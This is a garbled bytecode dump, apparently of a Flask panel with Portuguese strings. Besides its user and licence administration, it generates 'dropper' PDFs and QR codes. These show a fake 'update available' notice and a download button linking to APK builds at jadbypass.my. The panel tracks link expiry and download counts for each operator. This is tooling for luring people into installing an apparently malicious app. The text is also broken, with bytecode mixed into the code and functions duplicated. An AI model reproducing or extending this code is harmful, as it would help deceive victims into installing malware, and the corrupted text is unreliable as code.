r  new_usernamenew_passwordnew_rolerK  rR  r  r  rO  rL  s
             rJ   create_userr  -  s    5W=>CC$t4:DdD!55FGH#MM88J'L88J'LlC(
<0M55FGH#MM$Lxx
+H88NB/L	B:&Lg;??<488@Lr'{"55HIJCOOw00uIJCOO'/7':#djjl#7L@Y@]@]^g@h		 W+l+//	:5_EFKKXd(,,.9,+GGRRTjn*<8(UWlln..0,0H*+!VWX!BwK bMoxj<.PRS_R``f/gh
<. 9:#ldKx4@L>)?4P
		 t83F3F3H2II\0]^__rI   z/admin/renew-licensec            	      "   dt         vrt        ddd      dfS t        j                  dd      xs i } | j	                  d      }| j	                  dd	      }t               }t         d   }t        ||      st        dd
d      dfS ||d   vrt        ddd      dfS t        j                         t        |      z   j                         |d   |   d<   ||d   |   d<   t        |       t        |dd| d| d       t        dd| dd      S )Nr  FrG  r:  rN  Tr=  r  r   r  rF  rZ  Usuario nao encontrador  r  rL  rK  zRenovar Licencar  z (+r	  zLicenca renovada por r  )r   r   r   rO  r  rh  r  r   ra  r   r.  rp  r  )r  r  r  rR  r  s        rJ   renew_licenser  _  s&    5W=>CC$t4:D((:&K88FBD	B:&L<55_EFKK"W+%55MNOQTTT6>llnyVZG[6[5f5f5hBwK12/3BwK^,bM/9[MTFRX1YZt2GvU0STUUrI   z/admin/toggle-userc                  "   dt         vrt        ddd      dfS t        j                  dd      xs i } | j	                  d      }t               }t         d   }t        ||      st        ddd      d	fS ||d
   vrt        ddd      dfS |d
   |   d   dk(  rdnd}||d
   |   d<   t        |       t        |dd| d|        t        dd| d| d|dk(  rdndd|ddd|j                         ddd|ddg       t        dd| d      S )Nr  FrG  r:  rN  Tr=  r  rF  rZ  r  r  rM  rB  rx  zToggle Usuarior  z -> zSTATUS DE USUARIO ALTERADOr
  z** alterou status de **r  r7  r  r  r  zNovo statuszAlterado porr9  zUsuario )r   r   r   rO  r  rh  r  rp  r  r=  r  )r  r  rR  r  
new_statuss        rJ   toggle_userr  r  sW    5W=>CC$t4:D((:&K	B:&L<55_EFKK"W+%55MNOQTTT!'{;7AXMS[J)3BwKX&bM.)K=ZL0YZ$
<. 7}CH$
2hE"Z-=-=-?4P#ldK
		 t(:,0GHIIrI   z/admin/delete-userc            
         dt         vrt        ddd      dfS t        j                  dd      xs i } | j	                  d      }t               }t         d   }t        ||      st        ddd      d	fS ||d
   vrt        ddd      dfS ||k(  rt        ddd      dfS |d
   |= t        |       t        |dd|        t        dd| d| ddd|ddd|ddg       t        ddd      S )Nr  FrG  r:  rN  Tr=  r  rF  rZ  r  r  zNao pode deletar a si mesmorA  zDeletar Usuarior  zUSUARIO DELETADOr
  z** deletou o usuario **r  r  zDeletado porr  zUsuario removidor9  zUsuario deletado)
r   r   r   rO  r  rh  r  rp  r  r=  )r  r  rR  r  s       rJ   delete_userr    s*    5W=>CC$t4:D((:&K	B:&L<55_EFKK"W+%55MNOQTTTl"55RSTVYYY
7K bM/9[M1JK
<. 7}CH#ldK'+N
	 t0BCDDrI   z/user/change-passwordc                  D   dt         vrt        ddd      dfS t        j                  dd      xs i } t	        | t
              st        ddd      d	fS t        | j                  d
d            }t        | j                  dd            }t        |      dk  rt        ddd      d	fS ||k(  rt        ddd      d	fS t               }|d   j                  t         d         }|rt        |d   |      st        ddd      dfS t        |      |d   t         d      d<   |j                  dd      dz   |d   t         d      d<   t        |       |d   t         d      d   t         d<   t        t         d   dd       t        ddt         d    dd       t        ddd      S )Nr  FrG  r:  rN  Tr=  r@  rA  old_passwordrX   r  r   zSenha muito curta (minimo 6)zNova senha igual a antigarZ  r   zSenha atual incorretar)  r   r,  zTrocar SenhazSenha alterada via painelzTROCA DE SENHArI  z** trocou a propria senha.rJ  r8  zSenha alterada)r   r   r   rO  rP  rd  r_   r  r  rh  rv  r   rp  r  r=  )r  r  r  rR  r  s        rJ   change_passwordr    s    5W=>CC$t4:DdD!55FGH#MM
dhh~r*
+C
dhh~r*
+C
3x!|55STUWZZZ
cz55PQRTWWW	Bg;??7:./DtJ'7=55LMNPSSS3I#3NBwK
#$Z0:>((CTVW:X[\:\BwK
#$%67bM!#GWZ-@!ABS!TG
#^5PQ
WZ())CD
 t0@ABBrI   z/admin/historyc                      dt         vrt        g       dfS t               } | d   j                  t         d   i       j                  d      }|dk(  rt        | j                  dg             S t        g       S )Nr  rN  rZ  rH  rA  r]  r  )r  r  s     rJ   admin_historyr    sn     r{C;D=$$WZ%8"=AA&ILwtxx	2.//2;rI   c                      t         j                  j                  t              r0	 t	        t        d      5 } t        j                  |       cd d d        S i S # 1 sw Y   i S xY w# t        $ r Y i S w xY w)Nr0  )r   r   r   PDF_TOKENS_FILErP  r  rc  r   )rh  s    rJ   _load_pdf_tokensr     si    	ww~~o&	os+ $qyy|$ $ I	$ I  	I	s.   A# A
	A# A A#  A# #	A0/A0c                     	 t        t        d      5 }t        j                  | |       d d d        y # 1 sw Y   y xY w# t        $ r Y y w xY w)Nr6  )rP  r  r  rb  r   )tokensrh  s     rJ   _save_pdf_tokensr#    sG    /3' 	!1IIfa 	! 	! 	! s#   > 2> ;> > 	A
	A
c                 N      j                  d       t         fddD              S )Nr  c              3   H   K   | ]  }t        ||d z    d      dz    ywr`  r   g     o@Nr  rQ   rR   hs     rJ   rT   z_hex_rgb.<locals>.<genexpr>  s'     <QQq1Xr"5(<   "r   r`  r{   r  rd  r(  s   `rJ   _hex_rgbr-    s!    	A<)<<<rI   c	           	      
  * ddl m}	 ddlm}
 ddlm} |
\  }}|	j                  | |
      }t        |      }t        |      }t        |      }t        |      dz  dk  *t        *fd|D              }t        *fd	|D              } |j                  |  |j                  dd||d
d        |j                  |  |j                  d|d|z  z
  |d|z  d
d       |dz  }|d|z  z
  }d|z  }t        d |D              } |j                  |   |j                  |  |j                  d       |j                  |||d
d
       |j                  d
d
d
       d|z  }d|z  }|j                  ||dz  z
  |d|z  z
  ||d
d       |j                         }|j!                  ||d|z  z
         |j#                  |d|z  z
  |d|z  z
         |j#                  |d|z  z   |d|z  z
         |j%                          |j'                  |d
d       |j                  d
d
d
       |j                  d       |j)                  |d|z  z
  |d|z  z
  |d|z  z   |d|z  z
          |j                  |  t+        |      dk  rdnd}|j-                  d|       |j/                  |dz  |d|z  z
  |        |j                  |  |j-                  dd       |j/                  |dz  |d|z  z
  |        |j                  |  |j                  d       |j)                  d|z  |d|z  z
  |d|z  z
  |d|z  z
          |j                  |  |j-                  dd       |d|z  z
  }g }|j1                  d       D ]  }|j3                         }|s|j5                  d!       '|j1                         }d!} |D ]L  }!| d"z   |!z   j3                         }"|j7                  |"dd      |d#|z  z
  k  r|"} 8| r|j5                  |        |!} N | r|j5                  |        |j5                  d!        |r|d$   d!k(  r|j9                          |d d% D ]"  }#|#r|j/                  |dz  ||#       |d|z  z  }$ d|z  }$d&|z  }%||$z
  dz  }&|d'|z  z
  }' |j                  |  |j;                  |&|'|$|%d|z  d
d       t        |      dz  }( |j                  |(dkD  rd(nd)  |j-                  dd*       |r|d d nd+})|j/                  |dz  |'d,|z  z   |)       |j=                  ||&|'|&|$z   |'|%z   fd-        |j                  |  |j-                  dd.       |j/                  |dz  d'|z  d/       |j?                          |jA                          y )0Nr   canvasA4cmpagesizerb  r  c              3   ^   K   | ]$  }rt        d |dz         nt        d|dz
         & ywr,  ra  r   Nminr  rQ   xis_darks     rJ   rT   z&_create_dropper_pdf.<locals>.<genexpr>  ,     K!'Aqvs1af~=K   *-c              3   ^   K   | ]$  }rt        d |dz         nt        d|dz
         & ywr,  g333333?r   Nr9  r;  s     rJ   rT   z&_create_dropper_pdf.<locals>.<genexpr>  ,     J!'Aqvs1af~=Jr?  r,  fillstroke333333?r`  g      @g?c              3   :   K   | ]  }t        d |dz
          yw)r         ?N)r  )rQ   r<  s     rJ   rT   z&_create_dropper_pdf.<locals>.<genexpr>  s     0qC1T6N0s   ra  gffffff?g?g333333??g?r         Helvetica-BoldrM   	HelveticarV   rO   g(@r{  rX   rC   r   r  ry  ffffff?      ?r   r   r   r,  r,  r,     BAIXAR APLICATIVOzG?relativer  z1Clique no botao ou toque para baixar o aplicativo)!reportlab.pdfgenr0  reportlab.lib.pagesizesr2  reportlab.lib.unitsr4  Canvasr-  r[   rd  setFillColorRGBrectsetStrokeColorRGBsetLineWidthcircle	beginPathmoveTolineTor  drawPathr  r  setFontdrawCentredStringr  r  r\   stringWidthpop	roundRectlinkURLshowPager  )+pdf_pathr(  r;  r  download_urlbg_color	btn_color
text_color	btn_label	rl_canvasr2  r4  r6  r(  cbgbtnri  r  divcxicon_cyicon_ric_fillbody_wbody_hr  	font_sizemsg_y	lines_out	paragraphwordsr  wordr{  lnbtn_wbtn_hbtn_xbtn_ybtn_lumlblr=  s+                                             @rJ   _create_dropper_pdfr    s    5*&DAqB/A
8
B
9
C
:
C"gkCG
KsK
KC
JrJ
JCArFF1aAAaF(AsFF1a#b&j!SV!AF6	
QB#b&jGVF0C00GAwANN1HHR&qH3aA"WFVFFF2q='DG+VV!AFN	AHHR47"#HHR$r'\7T"W,-HHR$r'\7T"W,-GGIJJqqJ#1a NN1FF2B;$r')2B;$r'8IJAs%jB&BIII	*!Q2Xu-AsIIk2!QBY1ANN3FF1R4RUA"Ha"R%i0AsIIk2RKEI]]4( 	OO%	R ! 	D3J%,,.D}}T;3q1R4x?$$T*	 T"#$ Yr]b(n !UB/b
 bDEFEY!OECFNEAsKKueUDG!AKF#hlGA'C-wW=II#%)CR.+>C!UT"W_c2IIlUE55=%%-HSTIUAsIIk1!SV%XYJJLFFHrI   c                 >   dd l }t        fddD              }t        fddD              }|j                  |j                  j                  dd      }|j                  |       |j                  d	       |j                  ||
      }|j                  |        y )Nr   c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r`  r   Nr  r  rQ   rR   fg_colors     rJ   rT   z!_create_qr_png.<locals>.<genexpr>\  ,     Gs8??3'!A#.3G   +.r*  c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  rQ   rR   rm  s     rJ   rT   z!_create_qr_png.<locals>.<genexpr>]  r  r  ry  rb  r  Tr  r  )	r  rd  r  r  ERROR_CORRECT_Hr  r  r  r  )	r   urlr  rm  r  fgrs  r  r  s	     ``     rJ   _create_qr_pngr  Z  s    	GYG	GB	GYG	GB	(8(8(H(HSU^_	`BKKGGG
--2"-
5CHHTNrI   c
           	      `	  ( ddl m}
 ddlm} ddlm} ddlm} |\  }}|
j                  | |      }t        |      }t        |      }t        |      }t        |      dz  dk  (t        (fd	|D              }t        (fd
|D              } |j                  |  |j                  dd||dd        |j                  |  |j                  d|d|z  z
  |d|z  dd       d|z  }||z
  dz  }|d|z  z
  }	 |j                   ||      ||||d        |j                  |  |j!                  d       |j#                  |d|z  z
  |d|z  z
  |d|z  z   |d|z  z   d|z  dd        |j                  |  t'        |      dk  rdnd}|j)                  d|       |j+                  |dz  |d|z  z
  |        |j                  |  |j)                  dd       |j+                  |dz  |d|z  z
  |        |j                  |  |j!                  d       |j-                  d|z  |d|z  z
  |d|z  z
  |d|z  z
          |j                  |  |j)                  dd       |d|z  z
  }g }|j/                  d       D ]  }|j1                         }|s|j3                  d!       '|j/                         }d!}|D ]L  }|d"z   |z   j1                         } |j5                  | dd      |d#|z  z
  k  r| }8|r|j3                  |       |}N |r|j3                  |       |j3                  d!        |r|d$   d!k(  r|j7                          |d d% D ]"  }!|!r|j+                  |dz  ||!       |d&|z  z  }$ d|z  }"d'|z  }#||"z
  dz  }$|d(|z  z
  }% |j                  |  |j#                  |$|%|"|#d)|z  dd       t        |      dz  }& |j                  |&dkD  rd*nd+  |j)                  dd,       |	r|	d d- nd.}'|j+                  |dz  |%d/|z  z   |'       |j9                  ||$|%|$|"z   |%|#z   fd0        |j                  |  |j)                  dd%       |j+                  |dz  |%d1|z  z
  d2       |j+                  |dz  d3|z  d4       |j;                          |j=                          y # t$        $ r Y Ew xY w)5Nr   r/  r1  r3  ImageReaderr5  rb  r  c              3   ^   K   | ]$  }rt        d |dz         nt        d|dz
         & ywr8  r9  r;  s     rJ   rT   z!_create_qr_pdf.<locals>.<genexpr>r  r>  r?  c              3   ^   K   | ]$  }rt        d |dz         nt        d|dz
         & ywrA  r9  r;  s     rJ   rT   z!_create_qr_pdf.<locals>.<genexpr>s  rB  r?  r,  rC  rF  g      @r`  rM   automaskr  皙?333333?r  r2  r   rL  g      %@rM  rV   g&@gffffff(@g      +@r{  rX   rC   r   r  r  rI  rN  g333333?ra  rP  rQ  ry  r   rS  rT  rU  皙?z*Escaneie o QR Code acima ou toque no botaorO  z1Escaneie com seu celular para baixar o aplicativo)rW  r0  rX  r2  rY  r4  reportlab.lib.utilsr  rZ  r-  r[   rd  r[  r\  	drawImager]  r^  rh  r   r  rd  re  r  r  r  r\   rf  rg  ri  rj  r  ))rk  r(  r;  r  rl  qr_png_pathrm  rn  ro  rp  rq  r2  r4  r  r6  r(  rr  rs  rt  ri  r  ru  qr_sizeqr_xqr_yr|  r}  r~  r  r  r  r  r{  r  r  r  r  r  r  r  r=  s)                                           @rJ   _create_qr_pdfr  e  s   4*&/DAqB/A
8
B
9
C
:
C"gkCG
KsK
KC
JrJ
JCArFF1aAAaF(AsFF1a#b&j!SV!AF6"fGK1Dqt8D	K,dD'7QWXS!	q	D3r6M4#b&='CF2BGcRTfDTVYZ\V\cdmno As%jB&BIII	*!Qb[%0AsIIk2!Qb[(3ANN3FF1R4T"Wa!B$hDG4AsIIk2RKEI]]4( 	OO%	R ! 	D3J%,,.D}}T;3q1R4x?))$/	 !!$'  Yr]b(m !UB/b
 bDEFEY!OECFNEAsKKueUDG!AKF#hlGA'C-wW=II#%)CR.+>C!UT"W_c2IIlUE55=%%-HSTIUAsIIk1!UT"W_.Z[!SV%XYJJLFFHu  s   7A0R   	R-,R-c                     t               }|j                  dg       }|j                  d|        |d d |d<   t        |       y )N__pdf_items__r   r$  r   r  r  r#  r5  r"  rL  s      rJ   _append_pdf_itemr    s@    FJJ+E	LLD#DSkF?VrI   c                     t               }|j                  dg       }|j                  d|        |d d |d<   t        |       y )N__qr_items__r   r$  r  r  s      rJ   _append_qr_itemr    s@    FJJ~r*E	LLD"4C[F>VrI   c                    t               }|j                  | g       }|dk(  r|S |dk(  ro|d   j                         D ch c]  \  }}|j                  d      |k(  s| }	}}|	j                  |       |D 
cg c]  }
|
j                  d      |	v s|
 c}
S |D 
cg c]  }
|
j                  d      |k(  s|
 c}
S c c}}w c c}
w c c}
w )NrA  r?  rZ  rO  
created_by)r   r  rL  rC  )r  r  r  r  rR  r"  	all_itemsrv  r   allowedrR   s              rJ   _get_user_itemsr    s    F

3#Iww!#G!2!2!4YAi8HL8X1YYL!$Gal(;w(FGG H!AEE,$7<$GAHH ZGHs#   B=B=8CCC6Cz/pub/<token>c                 D   t        j                  dd|       d d } t               }|j                  |       }|st	        ddi      dfS |j                  d      }|r;	 t        j                         t        j                  |      kD  rt	        ddi      d	fS 	 t        j                  d
d|j                  dd            }|j                  dd      }t        j                  j                  t        j                  d   | d      }t        j                  j                  |      st	        ddi      dfS |j                  dd      dz   |d<   t        j                         j                         |d<   t!        |       t#        |dt%        |       d      S # t        $ r Y 	w xY w)N[^a-zA-Z0-9]rX   rB  r  zLink invalido ou expirador  r  zLink expiradoi  [^a-zA-Z0-9_-]r  r  r  r  r  r  rl  r   r,  last_downloadTr  )r|  r  r   r  r   r   r-  ry  r   r   r   r]   r  r  r   r.  r#  r   r   )r  r"  r  r  r  r  r  s          rJ   public_apk_downloadr    s}   FF?B.s3EFJJuE!<=>CC<(J	 8#9#9*#EE9:C?? F vv'UYYz2-FGHyyU+HSZZ8XJd:KLI77>>)$!9:;S@@;2Q6E+%__.88:E/VYd_U]E^D__cBdee  		s   8F 	FFz/pdf/buildsc            
         dt         vrt        g       dfS t               } t         d   }| d   j                  |i       j                  dd      }| d   j                  |i       j                  d      }g }|dk(  r| d   j	                         D ]u  \  }}|j                  dg       D ][  }|j                  d	      d
k(  s|j                  |j                  d      |j                  dd      |j                  dd      d       ] w t        |      S |dk(  r| d   j	                         D ]  \  }}|j                  d      |k(  s|j                  dg       D ][  }|j                  d	      d
k(  s|j                  |j                  d      |j                  dd      |j                  dd      d       ]  t        |      S | d   j                  |i       j                  dg       D ][  }|j                  d	      d
k(  s|j                  |j                  d      |j                  dd      |j                  dd      d       ] t        |      S )Nr  rN  rZ  rH  r  rO  rA  rN  rM  r  r  r  r   r  rX   )r  r  r  r?  )r   r   rh  r  rL  r\   )rR  r  r  r  rN  r  rq  r:  s           rJ   pdf_list_buildsr    s}    r{C	B:&Lg;??<488LLg;??<488CLFwwK--/ 	TLE5YYx, T55?k1MMquuZ/@aeeT^`eNfxyx}x}  M  OQ  yR  #S  TT	T 6? 
	 wK--/ 	XLE5yy#|38R0 XAuuX+51553DRSRWRWXbdiRj|}  }B  }B  CQ  SU  }V  'W  XX	X 6? Gr266xD 	PAuuX+-155+<!%%PZ\aJbtutyty  {I  KM  uN  O  P	P 6?rI   z/pdf/generatec                  	   dt         vrt        ddd      dfS t        j                  dd      xs i } t	        | t
              st        ddd      d	fS t        j                  d
dt        | j                  dd                  d d }t        | j                  dd            d d j                         xs d}t        | j                  dd            d d j                         }t        j                  ddt        | j                  dd                  d d xs d}t        j                  ddt        | j                  dd                  d d xs d}t        j                  ddt        | j                  dd                  d d xs d}t        j                  ddt        | j                  dd                  d d j                         xs d}t        t        | j                  d d      xs d      d!      }|st        dd"d      d	fS t               }	t         d   }
|	d#   j                  |
i       j                  d$d%      }|	d#   j                  |
i       j                  d&      }d}d'}|	d#   j                         }|D ]  \  }}|d%k(  r||
k7  r|d(k(  r|j                  d&      |k7  r+|j                  d)g       D ]A  }|j                  d      |k(  s|j                  d*      d+k(  s-d}|j                  d,d'      } n |s n |st        dd-d      d.fS t        j                   d/      }t        j                   d0      }t"        j$                  d1   }t&        j(                  j+                  || d2      }d3| }t-               }t/        j0                         t3        |4      z   j5                         }|||
t/        j0                         j5                         |d5d6d7||<   t7        |       	 t9        |||||||||8	       t=        |
d:d;| d<| d=       t?        |d>| d3| |||
t/        j0                         j5                         |d?       tA        d@dA|
 dB| dCdDd'|ddEdF|
ddEdG|ddEdH|ddEdI| dJddEgK       t        d|d>| ||d3| dL      S # t:        $ r&}t        dd9t        |       d      dfcY d }~S d }~ww xY w)MNr  FLogin necessarior:  rN  Tr=  r@  rA  r  rX   r  r1  r(  Atualizacao Disponivelr  r;  z1Toque no botao abaixo para instalar o aplicativo.r  [^a-fA-F0-9#]rm  #0e1117rx   rn  #16a34a	txt_color#e2e8f0z[^\w\s]rp  rS  r   expire_daysm  Build nao selecionadorZ  rH  r  rO  r   r?  rN  rM  r  r  z%Build nao encontrado ou sem permissaor  ry  r  r  .pdfhttps://jadbypass.my/pub/r  r   pdfr  r  r  rJ  r  rl  type)rm  rn  ro  rp  Erro ao gerar PDF: z	Gerar PDFzPDF gerado para build r  r  /pdf/download/pdf_idpdf_urlpub_urlr(  r  r  rJ  r  zPDF DROPPER GERADOzNovo PDF criado por **
** para **r-  i3 r  OperadorTituloLink Publicoz	Expira emr  r9  )r
  r  r  r  r(  r  )!r   r   r   rO  rP  rd  r|  r  r_   r  r  r:  r  rh  rL  r   r   r  r  r   r   r]   r   r   r-  r   r.  r#  r  r   r  r  r=  )r  r  	pdf_titlepdf_messagerm  rn  r  rp  r  rR  r  r  r  build_foundr  search_usersr  rq  r:  r  dl_token
pdf_folderrk  rl  r"  r  r  s                              rJ   pdf_generater    sr    55GHI3NN$t4:DdD!55FGH#MMvv'S*b1I-JKCRPHDHHW&>?@#FLLNjRjIdhhy*]^_`dadekkmK'S*y1Q-RSTVUVWd[dH'S+y1Q-RSTVUVWd[dI'S+y1Q-RSTVUVWd[dIz2s488KAT+U'VWX[Y[\bbd{h{Ic$((="5;<cBK55LMNPSSS	B:&Lg;??<488LLg;??<488CLKHg;$$&L$ u:%%<*?7"uyy';|'K8R( 	AuuZ H,xK1O"55U3		
  55\]^`cccr"F  $HL)Jww||J6($8H.xj9LF//#i[&AALLNJ$,(R^nvn}n}n  oJ  oJ  oL  \f  uv  @E  FF8V[Hih_gs|  JS  _h  	i k-CH:RPXzYZ+[\^F83L[tu}t~Y  KT  bj  zF  V^  Ve  Ve  Vg  Vq  Vq  Vs  CM  N  O
 j
"EX>,$G	UC#leL k]%+@DQ
	 tvNSYRZB[iq  }F  Un  ow  nx  Sy  z  {  {!  [57J3q6(5STUWZZZ[s   -R 	S"S=SSz/pdf/download/<pdf_id>c                 P   dt         vrt        t        d            S t        j                  dd|       d d } t
        j                  j                  t        j                  d   |  d      }t
        j                  j                  |      st        dd	i      d
fS t        |ddd      S )Nr  r3  r  rX   r  r  r  r  zPDF nao encontrador  Tzaplicativo.pdfzapplication/pdf)r  r  mimetyper   r	   r
   r|  r  r   r   r]   r  r  r   r   r   )r  rk  s     rJ   pdf_download_router  R  s     ())VVOR0"5Fww||CJJ|4oFH77>>(#!567<<XTAQ\mnnrI   c                 L   dd l }ddlm} t        fddD              }t        fddD              }|j	                  d |j
                  j                  |d      }	|	j                  |       |	j                  d	       |	j                  ||
      }
|
j                  |        y )Nr   )StyledPilImagec              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  r  s     rJ   rT   z!_create_qr_png.<locals>.<genexpr>c  r  r  r*  c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  r  s     rJ   rT   z!_create_qr_png.<locals>.<genexpr>d  r  r  rb  )versionr  r  r  Tr  r  )r  qrcode.image.styledpilr  rd  r  r  r  r  r  r  r  )r   r  r  rm  r  r  r  r  rs  r  r  s     ``       rJ   r  r  `  s    5	GYG	GB	GYG	GB	tf6F6F6V6Vairs	tBKKGGG
--2"-
5CHHTNrI   c	           	        ( ddl m}	 ddlm}
 ddlm} ddlm} d }|
\  }}|	j                  | |
      } ||      } ||      } ||      }|d   |d   z   |d	   z   d
z  dk  ( |j                  |  |j                  dd||dd       |} |j                  |  |j                  d|d|z  z
  |d|z  dd       d|z  }||z
  d	z  }|d|z  z
  }	  ||      }|j                  |||||d        |j                  |  |j                  d	       |j                  |d|z  z
  |d|z  z
  |d|z  z   |d|z  z   d|z  dd       t!        (fd|D              } |j                  |  t#        |      dk  rdnd}|j%                  d|       |j'                  |d	z  |d|z  z
  |        |j                  |  |j%                  dd       |j'                  |d	z  |d|z  z
  |        |j                  |  |j                  d       |j)                  d
|z  |d|z  z
  |d
|z  z
  |d|z  z
          |j                  |  |j%                  dd       |d|z  z
  }|j+                         }d}g }|D ]L  }|d z   |z   j-                         } |j/                  | dd      |d|z  z
  k  r| }8|r|j1                  |       |}N |r|j1                  |       |d d D ]   }!|j'                  |d	z  ||!       |d!|z  z  }" d"|z  }"d#|z  }#||"z
  d	z  }$|d$|z  z
  }% |j                  |  |j                  |$|%|"|#d%|z  dd       |d   |d   z   |d	   z   d
z  }& |j                  |&dkD  rd&nd'  |j%                  dd(       |j'                  |d	z  |%d)|z  z   d*       |j3                  ||$|%|$|"z   |%|#z   fd+       t!        (fd,|D              }' |j                  |'  |j%                  dd-       |j'                  |d	z  |%d|z  z
  d.       |j'                  |d	z  d/|z  d0       |j5                          |j7                          y # t        $ r Y w xY w)1Nr   r/  r1  r3  r  c                 N      j                  d       t         fddD              S )Nr  c              3   H   K   | ]  }t        ||d z    d      dz    ywr&  r  r'  s     rJ   rT   z6_create_qr_pdf.<locals>._hex_to_rgb.<locals>.<genexpr>t  s'     @S1QqS2&u,@r)  r*  r+  r,  s   `rJ   _hex_to_rgbz#_create_qr_pdf.<locals>._hex_to_rgbr  s!    HHSM@i@@@rI   r5  r,  r`  rb  r  rC  rF  r   g      !@r  r  r  r  r  c              3   ^   K   | ]$  }rt        d |dz
        nt        d|dz          & yw)r   rH  r,  Nr  r:  r;  s     rJ   rT   z!_create_qr_pdf.<locals>.<genexpr>  s.     S!C1t8$SAH5EESr?  r  r2  r   rL  rO   rM  rV   g'@rR  rX   rC   rI  rM   rN  g?ra  rP  rQ  ry  rT  rS  rU  c              3   ^   K   | ]$  }rt        d |dz
        nt        d|dz          & yw)r   r  r,  Nr  r;  s     rJ   rT   z!_create_qr_pdf.<locals>.<genexpr>  s,     RSAG_SAG_DRr?  r  z+Ou escaneie o QR Code acima com seu celularrO  z+Toque no botao ou escaneie o QR para baixar)rW  r0  rX  r2  rY  r4  r  r  rZ  r[  r\  r  r]  r^  rh  r   rd  r  rd  re  r  r  r  rf  r\   ri  rj  r  ))rk  r(  r;  r  rl  r  rm  rn  ro  rq  r2  r4  r  r  r6  r(  rr  rs  rt  ri  accentr  r  r  qr_imgsub_colr|  r}  r  r  r~  r  r{  r  r  r  r  r  r  hint_colr=  s)                                           @rJ   r  r  l  s   4*&/A DAqB/A	X	B
i
 C
j
!C!ur!u}r!u$)C/GArFF1aAAaF(FAvFF1a#b&j!SV!AF6 dGK1Ds2v:D[)	FD$vFV$	q	D3r6M4#b&='CF2BGcRTfDTVYZ\V\cdmno SsSSGAs%jB&BIII	*!QBY.AwIIk2!QBY1A!NN3FF1R4T"Wa!B$hDG4AwIIk22IEMMOEDI s
T!((*=={B/1qt8;D  &D m 	AaC+b bDEFEY!OECFNEAsKKueUDG!AKF1vAQ'1,GA'C-wW=II#!UT"W_.ABIIlUE55=%%-HSTIURcRRHAx IIk1!USV^-Z[!SV%RSJJLFFHs  s   A2P: :	QQz
/qr/buildsc                      t               S r  )r  rH   rI   rJ   qr_list_buildsr    s    rI   z/qr/generatec                     dt         vrt        ddd      dfS t        j                  dd      xs i } t	        | t
              st        ddd      d	fS t        j                  d
dt        | j                  dd                  d d }t        j                  ddt        | j                  dd                  d d xs d}t        j                  ddt        | j                  dd                  d d xs d}t        | j                  dd            }t        | j                  dd            d d j                         xs d}t        | j                  dd            d d j                         }t        j                  ddt        | j                  dd                  d d xs d}t        j                  ddt        | j                  dd                  d d xs d}t        j                  ddt        | j                  dd                   d d xs d }	|st        dd!d      d	fS t               }
t         d   }|
d"   j                  |i       j                  d#d$      }|
d"   j                  |i       j                  d%      }d}d&}|
d"   j                         D ]  \  }}|d$k(  r||k7  r|d'k(  r|j                  d%      |k7  r+|j                  d(g       D ]A  }|j                  d      |k(  s|j                  d)      d*k(  s-d}|j                  d+d&      } n |s n |sz|d,k(  ru|
d"   j                         D ]_  \  }}|j                  d(g       D ]A  }|j                  d      |k(  s|j                  d)      d*k(  s-d}|j                  d+d&      } n |s_ n |st        dd-d      d.fS t        j                  d/      }t!               }t#        j$                         t'        d01      z   j)                         }|||t#        j$                         j)                         |d2d3d4||<   t+        |       d5| }t        j                  d6      }t,        j.                  d7   }t0        j2                  j5                  |d8| d9      }	 t7        ||||:       d|d<| ||d=}|rYt        j                  d6      }t0        j2                  j5                  || d>      }	 t;        |||||||||		       ||d?<   d@| |dA<   t=        |dDdE| dF| dG       |d<| |||t#        j$                         j)                         dH}|rd?|v rd@|d?    |dA<   t?        |       d&|ddIdJ|ddIdK|d d ddIg}|r|jA                  dLdMddI       tC        dNdO| dPdQ|R       t        |      S # t8        $ r&}t        dd;t        |       d      dfcY d }~S d }~ww xY w# t8        $ r}dBt        |       |dC<   Y d }~d }~ww xY w)SNr  Fr  r:  rN  Tr=  r@  rA  r  rX   r  r1  r  r  #000000rx   rm  #ffffffas_pdfr(  r  r  r;  z3Escaneie o QR Code ou toque no botao para instalar.r  pdf_bgr  pdf_btnr  pdf_txtr  r  rZ  rH  r  rO  r   r?  rN  rM  r  r  rA  Build nao encontrador  r  r   r  r   r  r  r  ry  r  qr_r  )r  rm  zErro ao gerar QR: z
/qr/image/)r
  qr_idqr_urlr  r  r  r  r  r  zQR gerado mas PDF falhou: pdf_warningzGerar QR CodezQR gerado para build r  r  )r  r   r  r  r  rJ  r  r  r  PDFzSim, gerado juntozQR CODE GERADOzNovo QR Code criado para **r-  rg  r9  )"r   r   r   rO  rP  rd  r|  r  r_   r  r  r  rh  rL  r   r   r   r   r-  r   r.  r#  r  r  r   r   r]   r  r   r  r  r  r\   r=  ) r  r  r  rm  r  r  r  r  r  r  rR  r  r  r  r  r  r  rq  r:  r  r"  r  rl  r  	qr_folderr  r  r  r  rk  _qr_itemr,  s                                    rJ   qr_generater    sp    55GHI3NN$t4:DdD!55FGH#MMvv'S*b1I-JKCRPHvv&CY0O,PQRTSTUbYbHvv&CY0O,PQRTSTUbYbH$((8U+,FDHHW&>?@#FLLNjRjIdhhy*_`abfcfgmmoKVV$b#dhhx.K*LMbqQ^U^Fff%r3txx	9/M+NOPRQRS`W`Gff%r3txx	9/M+NOPRQRS`W`G55LMNPSSS	B:&Lg;??<488LLg;??<488CLKH7))+ u:%%<*?7"uyy';|'K8R( 	AuuZ H,xK1O"55U3		
  <72wK--/ 	LE5YYx, 55$0QUU8_5S"&K uuZ7H	
 	 55KLMsRR  $HF//#iR&88CCEJ$,(R^nvn}n}n  oJ  oJ  oL  \f  uv  @D  EF8V.xj9Lb!E

<(I'',,yCwd*;<KZ{L8hW :eW9M[cp|}F""2&77<<	fXT?;	J8YX|U`bhjqsz{%F8"0 9F9 o1FxjPRS[R\\]/^_Jug*><em  ~J  Zb  Zi  Zi  Zk  Zu  Zu  Zw  xH(f$ .vh/?.@AH T:ldC,t*<NF
 u/BdST)-H
RT+U]entu6??  Z57I#a&5RSTVYYYZ  	J&@Q$IF=!	Js6   V  W 	W&WWW	W3W..W3z/qr/image/<qr_id>c                 N   dt         vrt        t        d            S t        j                  dd|       d d } t
        j                  j                  t        j                  d   d|  d      }t
        j                  j                  |      st        d	d
i      dfS t        |d      S )Nr  r3  r  rX   r  r  r  r  r  zQR nao encontrador  	image/pngr  r  )r  qr_paths     rJ   qr_imager
